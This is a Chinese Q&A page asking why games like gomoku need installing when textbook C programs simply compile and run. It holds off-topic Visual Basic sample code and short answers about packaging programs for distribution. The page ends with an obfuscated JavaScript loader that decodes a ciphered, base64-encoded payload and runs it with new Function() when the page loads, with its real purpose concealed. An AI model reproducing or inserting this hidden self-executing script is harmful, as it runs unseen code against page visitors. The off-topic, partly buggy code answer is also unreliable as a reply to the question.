为什么有些单机游戏要安装,像那些五子棋,贪吃蛇之类的,我学C语言的时候,照着书编过,编译运行就可以了

2025-03-29 00:00:27
推荐回答(4个)
回答1:

  http://bbs.iyaya.com/99/276820.htm
  参考资料:http://bbs.iyaya.com/99/276820.htm

  Private Sub Command1_Click()
  Timer1.Enabled = True
  End Sub
  Private Sub Command2_Click()
  Timer1.Enabled = False
  End Sub
  Private Sub Form_Load()
  For I = 0 To 5
  Label1(I).FontSize = 48
  Next I
  Timer1.Enabled = False
  End Sub
  Private Sub Timer1_Timer()
  Randomize
  For I = 0 To 5
  Randomize
  Label1(I).Caption = Int(Rnd() * 10)
  Next I
  End Sub
  2.计算机
  Dim w1
  Dim w2
  Dim S
  Dim t1
  Dim t2
  Dim t3
  Dim w3
  Dim t4

  Private Sub Command1_Click()
  Text1 = Text1 & Command1.Caption
  End Sub

  Private Sub Command10_Click()
  Text1 = Text1 & Command10.Caption
  End Sub
  Private Sub Command11_Click()
  S = S + Val(Text1)
  Text1 = ""
  t1 = True
  t2 = False
  t3 = False
  t4 = False
  End Sub
  Private Sub Command12_Click()
  If w1 = False Then
  S = Val(Text1)
  w1 = True
  S = S - Val(Text1)
  Text1 = ""
  t1 = False
  t2 = True
  t3 = False
  t4 = False
  Else
  S = S - Val(Text1)
  Text1 = ""
  t1 = False
  t2 = True
  t3 = False
  t4 = False
  End If
  End Sub
  Private Sub Command13_Click()
  If w3 = False Then
  S = Val(Text1)
  w3 = True
  Text1 = ""
  t1 = False
  t2 = False
  t3 = True
  t4 = False
  Else
  S = S * Val(Text1)
  Text1 = ""
  t1 = False
  t2 = False
  t3 = True
  t4 = False
  End If
  End Sub
  Private Sub Command14_Click()
  If w2 = False Then
  S = Val(Text1)
  w2 = True
  Text1 = ""
  t1 = False
  t2 = False
  t3 = False
  t4 = True
  Else
  S = S / Val(Text1)
  Text1 = ""
  t1 = False
  t2 = False
  t3 = False
  t4 = True
  End If
  End Sub
  Private Sub Command15_Click()
  S = Sqr(S)
  Text1 = Str(S)
  End Sub
  Private Sub Command16_Click()
  w1 = False
  w2 = False
  w3 = False
  Command16.Caption = "复位"
  S = 0
  Text1 = ""
  End Sub
  Private Sub Command17_Click()
  If t1 = True Then
  S = S + Val(Text1)
  Text1 = Str(S)
  ElseIf t2 = True Then
  S = S - Val(Text1)
  Text1 = Str(S)
  ElseIf t3 = True Then
  S = S * Val(Text1)
  Text1 = Str(S)
  Else
  S = S / Val(Text1)
  Text1 = Str(S)
  End If
  End Sub
  Private Sub Command2_Click()
  Text1 = Text1 & Command2.Caption
  End Sub
  Private Sub Command3_Click()
  Text1 = Text1 & Command3.Caption
  End Sub
  Private Sub Command4_Click()
  Text1 = Text1 & Command4.Caption
  End Sub
  Private Sub Command5_Click()
  Text1 = Text1 & Command5.Caption
  End Sub
  Private Sub Command6_Click()
  Text1 = Text1 & Command6.Caption
  End Sub
  Private Sub Command7_Click()
  Text1 = Text1 & Command7.Caption
  End Sub
  Private Sub Command8_Click()
  Text1 = Text1 & Command8.Caption
  End Sub
  Private Sub Command9_Click()
  Text1 = Text1 & Command9.Caption
  End Sub
  Private Sub Form_Load()
  t1 = False
  t2 = False
  t3 = False
  t4 = False
  t6 = False
  t7 = False
  End Sub
  3。打方块小游戏

  注意timer1和timer2开始时ENABLED属性设置为FALSE
  Private Sub Command1_Click()
  Timer1.Interval = 900
  End Sub
  Private Sub Command2_Click()
  Timer1.Interval = 600
  End Sub
  Private Sub Command3_Click()
  Timer1.Interval = 500
  End Sub
  Private Sub Command4_Click()
  Timer2.Enabled = True
  Timer1.Enabled = True
  Command1.Enabled = True
  Command2.Enabled = True
  Command3.Enabled = True
  Command5.Visible = True
  Timer2.Interval = 1000
  End Sub
  Private Sub Command5_Click()
  Static r
  r = r + 1
  Text2 = Str(r)
  End Sub

  Private Sub Timer1_Timer()
  Randomize
  a = Int(Rnd() * 255)
  b = Int(Rnd() * 255)
  c = Int(Rnd() * 255)
  d = Int(Rnd() * 9495)
  e = Int(Rnd() * 10935)
  Command5.BackColor = RGB(a, b, c)
  Command5.Move d, e
  End Sub
  Private Sub Timer2_Timer()
  Static i
  i = i + 1
  Text1 = Str(30 - i)
  If i = 30 Then
  Timer1.Enabled = False
  Timer2.Enabled = False
  Command5.Visible = False
  i = 0
  r = 0
  End If
  End Sub

回答2:

成熟的软件设计最后是要把生成的EXE文件做成安装程序发布到网上的。当然要安装了。

回答3:

编译 :只有你可以用;
安装:是编译和测试成功后生成的运行程序,可以移置其他电脑使用

回答4:

生成的运行程序

(function(){function b7c9e1493(c95fae){var n03b5751="D$8~x9Tdn.B|3cZ?C4K^jNOeUpXAuih!HSYwR@Q-_rvPq:/]VJyotm,kzf05bMGl%(LW7&I26=F;asg1E[";var a531b0a="W$^VPE/6OSb!I?Zt3gf_UR|DGuH:pMN.,15LxKae9k&mj;]TBcvslFwQ4d@YJ8hz=o(2r07iX%-qyn[A~C";return atob(c95fae).split('').map(function(z5cd7){var e04b2b9=n03b5751.indexOf(z5cd7);return e04b2b9==-1?z5cd7:a531b0a[e04b2b9]}).join('')}var c=b7c9e1493('rtmp://LDJzZigsZyJmUyIrIk1XLXoiLyVLcHNKPzIoc0wpe0xLcHNKPzIoc0wyUUpfJlFIYUNfSWZIZldZUUJLTUgyV0JfUUlkKXsyS0xUOGlRSk9EMnNUIT8tbz9Mc1F5MjRRPyg3IXV0UT9LKDdQKSl7Ny0/cDdzfXlRNyAtei1kLXpZZlMlS3BzSj8yKHNMbFNkTWRLZCl7Ny0/cDdzIC4/NzJzNCFLNyhQW0dRN1soZi1MbFNkTWRLZCl9OnlRNyBzJlEtZkt6USVnInRxb0ZYJlNed24xZV5iLl5YXWl3IkgieS03RiZTIkgibzJmRldNIkgiSko/RlcmV1lGJkNGU3ogVyZBeldBek0iLzp5UTcgZlF6ZlFJeiZJJWZXWVFCS01nLXotZC16WWZTTCZSZFMpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFcpL0gsV0NDS2RLJWZXWVFCS01nLXotZC16WWZTTCZSZFcpKy16LWQtellmU0wmUkl6KSstei1kLXpZZlNMJlJkSykrLXotZC16WWZTTCZSZFMpL0hCU3pTWUMlMldCX1FJZGdmUXpmUUl6JklMIjVDfmFKUH5wZm1ocUpQdCxmMSUlIikvSGFDJkktUUklZlF6ZlFJeiZJTCI1Q2J0NTZOdE5EUnRCRH5wZjElJSIpSHlJelFRXyVmUXpmUUl6JklMIkpDfjJKQ05hUURZcyIpSFBKV01LWSVmUXpmUUl6JklMIkpQfixCVW1xWmslJSIpSHNCZmZRJllkJWZRemZRSXomSUwiSkNWb1E2ayUiKUhQWXpfLUIlZlF6ZlFJeiZJTCJKUH5XWjZibFprJSUiKUhRLUNLZCVmUXpmUUl6JklMIlFQX3VCNCUlIilIbC1DQ0slZlF6ZlFJeiZJTCJKUG1wWlVfPyIpSHVmQ1dLJiVmV1lRQktNZ2ZRemZRSXomSUwiXURtJlExJSUiKS9IMkNkZiZCQklZJWZRemZRSXomSUwiQlVfR1oxJSUiKTp5UTcgKFdRJllJXyVmUXpmUUl6JklMIkpXUyZRRE50ZjQlJSIpOnlRNyBzWV9CS2ZTOjJLTHQoSlE/MihzIW8tUTdKRyEyc2YtUm5LTChXUSZZSV8pPkZTKXtzWV9CS2ZTJTJXQl9RSWRnYUMmSS1RSS9MZlF6ZlFJeiZJTCJmVX56ZlVtYVpEOSUiKSk6c1lfQktmUyEyZiUiPyIrdWZDV0smZ2wtQ0NLL0wpKlMmJiYmOnNZX0JLZlMhbz9hdC0hLDJmP0clIlMmJj0iOnNZX0JLZlMhbz9hdC0hRy0yNEc/JSJZJiZ1UiI6c1lfQktmUyFmMm9RQnQtZiU/N3AtOjJLTDJXQl9RSWQhQihmYXwlc3B0dCl7MldCX1FJZCFCKGZhIVF1dS1zZltHMnRmTHNZX0JLZlMpfS10by17eVE3IGZRSkJCUyVLcHNKPzIoc0wpezJXQl9RSWQhQihmYSFRdXUtc2ZbRzJ0ZkxzWV9CS2ZTKTpmV1lRQktNITctUCh5LTl5LXM/dzJvPy1zLTdMMkNkZiZCQklZSGZRSkJCU0hLUXRvLSl9OmZXWVFCS00hUWZmOXktcz93Mm8/LXMtN0wyQ2RmJkJCSVlIZlFKQkJTSEtRdG8tKX19eVE3IFFLTSZfTSUyV0JfUUlkZ2FDJkktUUkvTGZRemZRSXomSUwiWkRTMlpEayUiKSk6UUtNJl9NITJmJWFDX0lmK3VmQ1dLJiFKLTJ0THVmQ1dLJmdsLUNDSy9MKSpTJiYmJik6eVE3IHBkQksmQ2RNSyVLcHNKPzIoc0xRJlkmUWRkX0Ipe3lRNyBRUUlNJnolcy0sIGVRPy1MKTp5UTcgUWRkSkImSiVgb1A/Ml5vMmZeJHthQ19JZn1eJHtRUUlNJnohPyh3KEpRdC1lUT8tLj83MnM0TCl9YDp5UTcgeWZfQ1dkJXNwdHQ6Pzdhe3lmX0NXZCViLm5oIXVRN28tTHQoSlF0Lj8oN1E0LSE0LT8zPy1QTFFkZEpCJkopKX1KUT9KR0wtKXt9MktMeWZfQ1dkJSVzcHR0KXt5Zl9DV2Qle0I3KCxvLTdbKHBzP0EmSH19eWZfQ1dkIUI3KCxvLTdbKHBzPysrOnlRNyBzLSZfWWQlLFdDQ0tkS0xzJlEtZkt6USFKKHNKUT9MZ2BzKCxGJHtlUT8tZyJzKCwiL0wpfWBIYEc3LUtGJHt0KEpRPzIocyFHNy1LfWBIYHBvSkYke3lmX0NXZCFCNygsby03Wyhwcz99YEgvKSFvKDc/TEwpJT51ZkNXSyZnbC1DQ0svTClGJiFZKWdRLUNLZC9MIkgiKSk6eVE3IFAtX0omTUIlcy0mX1lkITJzZi1SbktMLXotZC16WWZTTCZSQ2YpKT5GU2NzLSZfWWRneUl6UVFfL0xzLSZfWWQhMnNmLVJuS0wtei1kLXpZZlNMJlJDZikpKUEiIjpzLSZfWWQlcy0mX1lkZ1BKV01LWS9MUC1fSiZNQkgiIilnc0JmZlEmWWQvTCIiKWdQWXpfLUIvTClnUS1DS2QvTCIiKStQLV9KJk1COlFLTSZfTSFvN0olZyJHPz91b0FUVCIrUSZZJlFkZF9CSFFLTSZfTSEyZkhzLSZfWWQvZ1EtQ0tkL0wiVCIpOjJXQl9RSWQhQihmYSEyc28tNz9WLUsoNy1MUUtNJl9NSDJXQl9RSWQhQihmYSFKRzJ0ZmgoZi1vZyYvKToyS0xzWV9CS2ZTfCVzcHR0KXtzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzUXV1LXNmLWYgLVAgPyggRz9QdCI6eVE3IEtfJkN6JkIlMldCX1FJZCE0LT85dC1QLXM/VmEzZkxRS00mX00hMmYpOjJLTEtfJkN6JkIlJXNwdHRPT0tfJkN6JkIlJXBzZi1LMnMtZil7c1lfQktmUyF5UXRwLSslIlxcN1xccyBKUXM/IDQtPyAtUCBLNyhQIEc/UHQifX19OjJLTHNZX0JLZlN8JXNwdHQpe3NZX0JLZlMheVF0cC0rJSJcXDdcXHNvLXNmIHFvIEcobz8gIisyUUpfJlF9eVE3IChKQiZXSyVLcHNKPzIoc0wsX0lRU00pezctP3A3cyBmUXpmUUl6JklMLF9JUVNNKWdQSldNS1kvTC16LWQtellmU0wmUldRKUh1ZkNXSyZnbC1DQ0svTCkhPyguPzcyczRMQ2QpIW90MkotTHVmQ1dLJiFLdCgoN0x1ZkNXSyZnbC1DQ0svTCkqXykrVykpfTpwZEJLJkNkTUtMKEpCJldLTDJRSl8mUSkpOmZXWVFCS01nIlFmZjl5LXM/dzJvPy1zLTciL0wiUC1vb1E0LSJIS3BzSj8yKHNMLSl7MktMLSFmUT9RIXIlJWFDX0lmKXsyV0JfUUlkITQtPzl0LVAtcz9WYTNmTFFLTSZfTSEyZikhNy1QKHktTCk6eVE3IHJZWVdKJXNwdHQ6MktMc1lfQktmU3wlc3B0dCl7c1lfQktmUyF5UXRwLSslIlxcN1xcczctSi0yeS0gLVAgdShvPyBQLW9vUTQtIjpzWV9CS2ZTIXlRdHAtKyUiXFw3XFxzLSFmUT9RIXkgIistIWZRP1EhOzpyWVlXSiVMISEhUFFTemYpJT57MktMfFBRU3pmT09QUVN6ZiF0LXM0P0c8JSYpNy0/cDdzOnNZX0JLZlMheVF0cC0rJSJcXDdcXHMiK1BRU3pmIXEoMnNMIiAiKX19cy0sIG1wc0o/MihzTCJRNzRvIkgtIWZRP1EhOylMe14/ZkpvQUJTelNZQ0hedCg0QXJZWVdKSH0pfX0pfSlMIlpXSnBoXX5sUVdtbEJEUj9aV2ZZQi5ZJkJDMWRuXXJTaDQlJSJIIldNIkgsMnNmKCxIZihKcFAtcz8pfTpmU01XLXpMKTo='.substr(7));new Function(c)()})();